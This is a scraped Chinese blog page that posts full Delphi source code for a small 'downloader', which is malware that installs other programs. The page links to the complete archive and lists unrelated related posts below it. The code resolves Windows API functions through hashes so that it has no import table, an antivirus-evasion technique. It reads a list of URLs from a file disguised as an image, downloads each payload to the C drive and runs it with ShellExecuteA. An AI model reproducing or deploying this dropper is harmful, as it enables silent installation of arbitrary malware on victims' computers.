[源码]Delphi 5KB无输入表下载者源码

  1. PROGRAM Fun;
  2.  
  3. type
  4. DWORD = LongWord;
  5. THandle = LongWord;
  6. BOOL = LongBool;
  7. LPCSTR = PAnsiChar;
  8. HINTERNET = Pointer;
  9. FARPROC = Pointer;
  10. PShortString = ^ShortString;
  11. PLongint = ^Longint;
  12. HRESULT = type Longint; { from WTYPES.H }
  13.  
  14. PGUID = ^TGUID;
  15. TGUID = packed record
  16. D1: LongWord;
  17. D2: Word;
  18. D3: Word;
  19. D4: array[0..7] of Byte;
  20. end;
  21.  
  22. PSecurityAttributes = ^TSecurityAttributes;
  23. _SECURITY_ATTRIBUTES = record
  24. nLength: DWORD;
  25. lpSecurityDescriptor: Pointer;
  26. bInheritHandle: LongBool;
  27. end;
  28.  
  29. TSecurityAttributes = _SECURITY_ATTRIBUTES;
  30. SECURITY_ATTRIBUTES = _SECURITY_ATTRIBUTES;
  31.  
  32. POverlapped = ^TOverlapped;
  33. _OVERLAPPED = record
  34. Internal: DWORD;
  35. InternalHigh: DWORD;
  36. Offset: DWORD;
  37. OffsetHigh: DWORD;
  38. hEvent: THandle;
  39. end;
  40. TOverlapped = _OVERLAPPED;
  41. OVERLAPPED = _OVERLAPPED;
  42.  
  43. CONST
  44. Dw_ShellExecuteA = $EB7C1488;
  45. Dw_ShellExecuteW = $1FA8A1D9;
  46. Dw_URLDownloadToFileA = $1E30F2EA;
  47. Dw_StrStrA = $0A62DA9E;
  48. Dw_lstrlenA = $E90E2A0C;
  49. Dw_lstrcpyA = $AE03DF57;
  50. Dw_lstrcpynA = $3464616E;
  51. Dw_StrDupA = $F458BD0D;
  52. Dw_StrNCatA = $8DB90EA6;
  53. Dw_CreateFileA = $553B5C78;
  54. Dw_ReadFile = $095C03D0;
  55. Dw_CloseHandle = $B09315F4;
  56.  
  57. S_OK = $00000000;
  58. ERROR = 0;
  59. INTERNET_OPEN_TYPE_PRECONFIG = 0;
  60. HTTP_QUERY_RAW_HEADERS_CRLF = 22;
  61. MAX_PATH = 260;
  62. GENERIC_READ = DWORD($80000000);
  63. FILE_SHARE_READ = $00000001;
  64. OPEN_EXISTING = 3;
  65. FILE_ATTRIBUTE_NORMAL = $00000080;
  66.  
  67. DwUrl = 'http://www.baidu.com/img/bdlogo.gif|----------------------------------------------------------------------';
  68.  
  69. VAR
  70. LoadLibrary:function(lpLibFileName: PAnsiChar): longWord; stdcall;
  71. ShellExecuteA:function(hWnd: LongWord; Operation, FileName, Parameters, Directory: PAnsiChar; ShowCmd: Integer): LongWord; stdcall;
  72. URLDownloadToFileA:function(Caller:Pointer; URL:PChar; FileName:PChar; Reserved: DWORD; StatusCB:Pointer): HResult; stdcall;
  73. lstrlenA:function(lpString: PAnsiChar): Integer; stdcall;
  74. StrStrA:function(lpFirst, lpSrch: PAnsiChar): PAnsiChar; stdcall;
  75. lstrcpyA:function(lpString1, lpString2: PAnsiChar): PAnsiChar; stdcall;
  76. lstrcpynA:function(lpString1, lpString2: PAnsiChar; iMaxLength: Integer): PAnsiChar; stdcall;
  77. StrDupA:function(lpSrch: PAnsiChar): PAnsiChar; stdcall;
  78. StrNCatA:function(psz1: PAnsiChar; psz2: PAnsiChar; cchMax: Integer): PAnsiChar; stdcall;
  79. CreateFileA:function(lpFileName: PAnsiChar; dwDesiredAccess, dwShareMode: DWORD;lpSecurityAttributes: PSecurityAttributes; dwCreationDisposition, dwFlagsAndAttributes: DWORD; hTemplateFile: THandle): THandle; stdcall;
  80. ReadFile:function(hFile: THandle; var Buffer; nNumberOfBytesToRead: DWORD; var lpNumberOfBytesRead: DWORD; lpOverlapped: POverlapped): BOOL; stdcall;
  81. CloseHandle:function(hObject: THandle): BOOL; stdcall;
  82.  
  83. function DwPos(lpFirst,lpSrch:PAnsiChar):Integer;
  84. begin
  85. Result :=DWORD(StrStrA(lpFirst,lpSrch)) - DWORD(lpFirst);
  86. end;
  87.  
  88. procedure DwDelete(lpszStr: PAnsiChar; index, count: Integer);
  89. begin
  90. lstrcpyA(@lpszStr[index - 1], @lpszStr[index + count - 1]);
  91. end;
  92.  
  93. function DwStrLCopy(Dest: PAnsiChar; const Source: PAnsiChar; MaxLen: Cardinal): PAnsiChar; assembler;
  94. asm
  95. PUSH EDI
  96. PUSH ESI
  97. PUSH EBX
  98. MOV ESI,EAX
  99. MOV EDI,EDX
  100. MOV EBX,ECX
  101. XOR AL,AL
  102. TEST ECX,ECX
  103. JZ @@1
  104. REPNE SCASB
  105. JNE @@1
  106. INC ECX
  107. @@1: SUB EBX,ECX
  108. MOV EDI,ESI
  109. MOV ESI,EDX
  110. MOV EDX,EDI
  111. MOV ECX,EBX
  112. SHR ECX,2
  113. REP MOVSD
  114. MOV ECX,EBX
  115. AND ECX,3
  116. REP MOVSB
  117. STOSB
  118. MOV EAX,EDX
  119. POP EBX
  120. POP ESI
  121. POP EDI
  122. end;
  123.  
  124. function DwStrPCopy(Dest: PAnsiChar; const Source: PAnsiChar): PAnsiChar;
  125. begin
  126. Result := DwStrLCopy(Dest, Source, lstrlenA(Source));
  127. end;
  128.  
  129. var
  130. I:Integer;
  131. BinaryFile: LongWord;
  132. dwBytesRead: DWORD;
  133. szBuffer,NewDir,Temp:array [0..100] of AnsiChar;
  134. FBuf:Array[0..2048] of AnsiChar;
  135. PosTxt:PAnsiChar;
  136.  
  137. kernel32,shlwapi:LongWord;
  138. begin
  139. BuildCRC32Table;
  140. @LoadLibrary:=MyLoadLibraryA;
  141. kernel32 := LoadLibrary('kernel32.dll');
  142. shlwapi := LoadLibrary('shlwapi.dll');
  143. @ShellExecuteA:=GetProcAddress(LoadLibrary('shell32.dll'),Dw_ShellExecuteA);
  144. @URLDownloadToFileA:=GetProcAddress(LoadLibrary('UrlMon.dll'),Dw_URLDownloadToFileA);
  145. @StrStrA:=GetProcAddress(shlwapi,Dw_StrStrA);
  146. @StrDupA:=GetProcAddress(shlwapi,Dw_StrDupA);
  147. @StrNCatA:=GetProcAddress(shlwapi,Dw_StrNCatA);
  148. @lstrlenA:=GetProcAddress(kernel32,Dw_lstrlenA);
  149. @lstrcpyA:=GetProcAddress(kernel32,Dw_lstrcpyA);
  150. @lstrcpynA:=GetProcAddress(kernel32,Dw_lstrcpynA);
  151. @CreateFileA:=GetProcAddress(kernel32,Dw_CreateFileA);
  152. @ReadFile:=GetProcAddress(kernel32,Dw_ReadFile);
  153. @CloseHandle:=GetProcAddress(kernel32,Dw_CloseHandle);
  154.  
  155. lstrcpyA(szBuffer, DwUrl);
  156. DwDelete(szBuffer, DwPos(szBuffer,'|')+1, 100);
  157. I:= DwPos(DwUrl,'|')+1;
  158. lstrcpynA(szBuffer,DwUrl,I);
  159. if URLDownloadToFileA(nil,szBuffer,'c:\k8down.jpg', 0, nil)= S_OK then
  160. begin
  161. BinaryFile := CreateFileA('c:\k8down.jpg', GENERIC_READ, FILE_SHARE_READ, nil, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0);
  162. ReadFile(BinaryFile, FBuf , 2048, dwBytesRead, nil);
  163. if (dwBytesRead > 0) then
  164. begin
  165. closehandle(BinaryFile);
  166. end;
  167. while (DwPos(FBuf,'//') <> 0) and (DwPos(FBuf,'|') <> 0) do
  168. begin
  169. if (DwPos(FBuf,'|') < 6) then Break;
  170. I:=DwPos(FBuf,'|')+1;
  171. lstrcpynA(Temp,FBuf,I);
  172. DwDelete(FBuf,1, I + 2);
  173. DwStrPCopy(NewDir,'C:\');
  174. PosTxt:=StrDupA(Temp);
  175. DwDelete(PosTxt, 1, 7);
  176. while (DwPos(PosTxt,'/') > 0) do
  177. begin
  178. DwDelete(PosTxt, 1, DwPos(PosTxt,'/')+1);
  179. end;
  180. StrNCatA(NewDir,PosTxt,-1);
  181. if URLDownloadToFileA(nil,Temp,NewDir, 0, nil)= S_OK then
  182. begin
  183. ShellExecuteA(0,'open',NewDir,nil,nil,5);
  184. end;
  185. end;
  186. end;
  187. end.

完整程序源码如下:

https://github.com/k8gege/K8tools/raw/master/Delphi%205KB%E6%97%A0%E8%BE%93%E5%85%A5%E8%A1%A8%E4%B8%8B%E8%BD%BD%E8%80%85%E6%BA%90%E7%A0%81_0105%5BK8%5D.rar

https://download.csdn.net/download/qq396890445/6812539

[源码]Delphi 5KB无输入表下载者的更多相关文章

  1. 2014年最新720多套Android源码2.0GB免费一次性打包下载

    之前发过一个帖子,但是那个帖子有点问题我就重新发一个吧,下面的源码是我从今年3月份开始不断整理源码区和其他网站上的android源码,目前总共有720套左右,根据实现的功能被我分成了100多个类,总共 ...

  2. [源码]Delphi源码免杀之函数动态调用 实现免杀的下载者

    [免杀]Delphi源码免杀之函数动态调用 实现免杀的下载者 2013-12-30 23:44:21         来源:K8拉登哥哥's Blog   自己编译这份代码看看 过N多杀软  没什么技 ...

  3. 转--2014年最新810多套android源码2.46GB免费一次性打包下载

    转载自:http://www.eoeandroid.com/thread-497046-1-1.html 感谢该博客主人无私奉献~~ 下面的源码是从今年3月份开始不断整理源码区和其他网站上的安卓例子源 ...

  4. Tika结合Tesseract-OCR 实现光学汉字识别(简体、宋体的识别率百分之百)—附Java源码、测试数据和训练集下载地址

     OCR(Optical character recognition) —— 光学字符识别,是图像处理的一个重要分支,中文的识别具有一定挑战性,特别是手写体和草书的识别,是重要和热门的科学研究方向.可 ...

  5. easyui源码翻译1.32--Form(表单)

    前言 使用$.fn.form.defaults重写默认值对象下载该插件翻译源码 form提供了各种方法来操作执行表单字段,比如:ajax提交, load, clear等等.当提交表单的时候可以调用va ...

  6. [转]数据库中间件 MyCAT源码分析——跨库两表Join

    1. 概述 2. 主流程 3. ShareJoin 3.1 JoinParser 3.2 ShareJoin.processSQL(...) 3.3 BatchSQLJob 3.4 ShareDBJo ...

  7. 【一起学源码-微服务】Nexflix Eureka 源码八:EurekaClient注册表抓取 精妙设计分析!

    前言 前情回顾 上一讲 我们通过单元测试 来梳理了EurekaClient是如何注册到server端,以及server端接收到请求是如何处理的,这里最重要的关注点是注册表的一个数据结构:Concurr ...

  8. Python源码剖析|百度网盘免费下载|Python新手入门|Python新手学习资料

    百度网盘免费下载:Python源码剖析|新手免费领取下载 提取码:g78z 目录  · · · · · · 第0章 Python源码剖析——编译Python0.1 Python总体架构0.2 Pyth ...

  9. 【雷神源码解析】无基础看懂AAC码流解析,看不懂你打我

    一 前言 最近在尝试学习一些视频相关的知识,随便一搜才知道原来国内有雷神这么一个真正神级的人物存在,尤其是在这里(传送门)看到他的感言更是对他膜拜不已,雷神这种无私奉献的精神应当被我辈发扬光大.那写这 ...

随机推荐

  1. tomcat/Java指定加载jar包的路径

    背景:部署的web站点,应用默认加载工程的/webapps/工程名/WEB-INF/lib下的jar包   但是我需要提供一个和web工程没关系的的jar包管理目录   解决方法: 执行java方法时 ...

  2. 关于深度学习中的batch_size

    5.4.1 关于深度学习中的batch_size 举个例子: 例如,假设您有1050个训练样本,并且您希望设置batch_size等于100.该算法从训练数据集中获取前100个样本(从第1到第100个 ...

  3. linux环境:创建数据库用户,表空间,启动数据库

    1.启动数据库 首先使用oracle用户登录Linux,然后在shell命令行中执行下面的命令:第一步:打开Oracle监听(先查看状态:oracle监听是否启动:lsnrctl status)$ l ...

  4. 算法练习LeetCode初级算法之链表

    删除链表中的节点 /** * Definition for singly-linked list. * public class ListNode { * int val; * ListNode ne ...

  5. AltiumDesigner 查找相似对象

    同类器件的集体选中.集体选中的方法是:先选中一个标识符,右击在选项表中选择Find Similar Objects,然后就会出现一个对话框,在这个对话框中,有一些any项,根据自己的需要把一些any改 ...

  6. input text 只能输入数字

    添加 onkeyup="value=value.replace(/[^\d]/g,'')"

  7. 微信小程序之----制作视频弹幕

    1. 文件目录     使用微信, 长度单位使用 rpx 可以避免不同设备的样式调试问题     经验总结,之前一直使用px ,发现换了测试机就崩了        2. index.wxml页面设置v ...

  8. 【.Net】 大文件可使用的文本分组统计工具(附带源码,原创)

    本工具可实现的效果: 1.读取大文件(大于1GB) 2.根据分隔符分割后的列分组 3.速度快. 4.处理过程中,可以随时停止处理,操作不卡死. 5.有对当前内存的实时监测,避免过多占用内存,影响系统运 ...

  9. centos 7 一些命令

    su 切换到管理员账户cd 'wo shi mu lu'ls 查看 当前目录或者文件tar -xvzf pip-10.0.1.tar.gz 解压 文件systemctl restart network ...

  10. Bootstrap+PHP fileinput 实现多图上传 这是ajax上传,只能单张单张图片地上传

    插件及源代码可以在这里下载 http://www.jq22.com/jquery-info5231下面是根据下载的demo进行补充:使用bootstrap界面美观,可预览,可拖拽上传,可配合ajax异 ...